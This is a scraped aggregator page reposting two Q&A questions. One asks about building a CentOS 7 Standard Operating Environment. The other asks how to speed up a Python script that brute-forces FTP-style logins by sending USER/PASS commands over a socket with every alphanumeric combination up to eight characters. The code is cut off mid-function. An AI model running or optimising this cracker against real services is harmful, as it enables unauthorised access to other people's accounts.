Posts

Showing posts from January 11, 2019

Guide to building a Linux Standard Operating Environment (SOE) [closed]

Image
1 I would like to build a Linux Standard Operating Environment (SOE) using CentOS 7 and unfortunately, I couldn't get much information on the web, other than the theoretical guides. Are there any step-by-step instructions freely available on building Linux SOEs? linux centos share | improve this question asked Jan 2 at 3:04 hypersonics hypersonics 128 1 4 closed as off-topic by Rui F Ribeiro, Michael Homer, Jeff Schaller, Stephen Harris, RalfFriedl Jan 2 at

Python Making Bruteforce Password Crack Faster

Image
0 I made a simple password cracker using Python. But it's extremely slow. Here is my code: import itertools import string import sys import socket def connection(ip, user, passw, port): s = socket.socket() s.connect((ip, int(port))) data = s.recv(1024) s.send(('USER ' + user + 'rn').encode()) data = s.recv(1024) s.send(('PASS ' + passw + 'rn').encode()) data = s.recv(1024) s.send(('quitrn').encode()) s.close() return data def crack(ip, user, port): chars = string.digits + string.ascii_letters for password_length in range(1, 9): for guess in itertools.product(chars, repeat = password_length): guess = ''.join(guess) p = connection(ip, user, guess, port)